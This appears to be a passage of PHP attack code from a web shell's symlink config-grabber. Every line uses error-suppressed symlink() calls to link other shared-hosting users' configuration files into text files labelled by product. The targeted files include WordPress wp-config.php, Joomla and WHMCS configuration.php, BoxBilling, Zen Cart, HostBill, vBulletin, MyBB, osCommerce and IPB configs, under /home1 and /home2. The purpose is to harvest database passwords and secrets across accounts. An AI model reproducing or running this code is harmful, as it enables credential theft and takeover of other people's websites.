@symlink('/home1/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home1/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
@symlink('/home1/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home1/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home1/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home1/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home1/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home1/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home1/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home1/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home1/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
//Home2
@symlink('/home2/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home2/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home2/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home2/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
@symlink('/home2/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
@symlink('/home2/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home2/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home2/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home2/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home2/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home2/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
@symlink('/home2/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
@symlink('/home2/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
@symlink('/home2/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
@symlink('/home2/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
@symlink('/home2/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
@symlink('/home2/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
@symlink('/home2/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
@symlink('/home2/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
@symlink('/home2/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
@symlink('/home2/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
@symlink('/home2/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
@symlink('/home2/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
@symlink('/home2/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
@symlink('/home2/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
@symlink('/home2/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
@symlink('/home2/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
@symlink('/home2/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home2/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home2/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home2/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home2/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
@symlink('/home2/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
@symlink('/home2/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
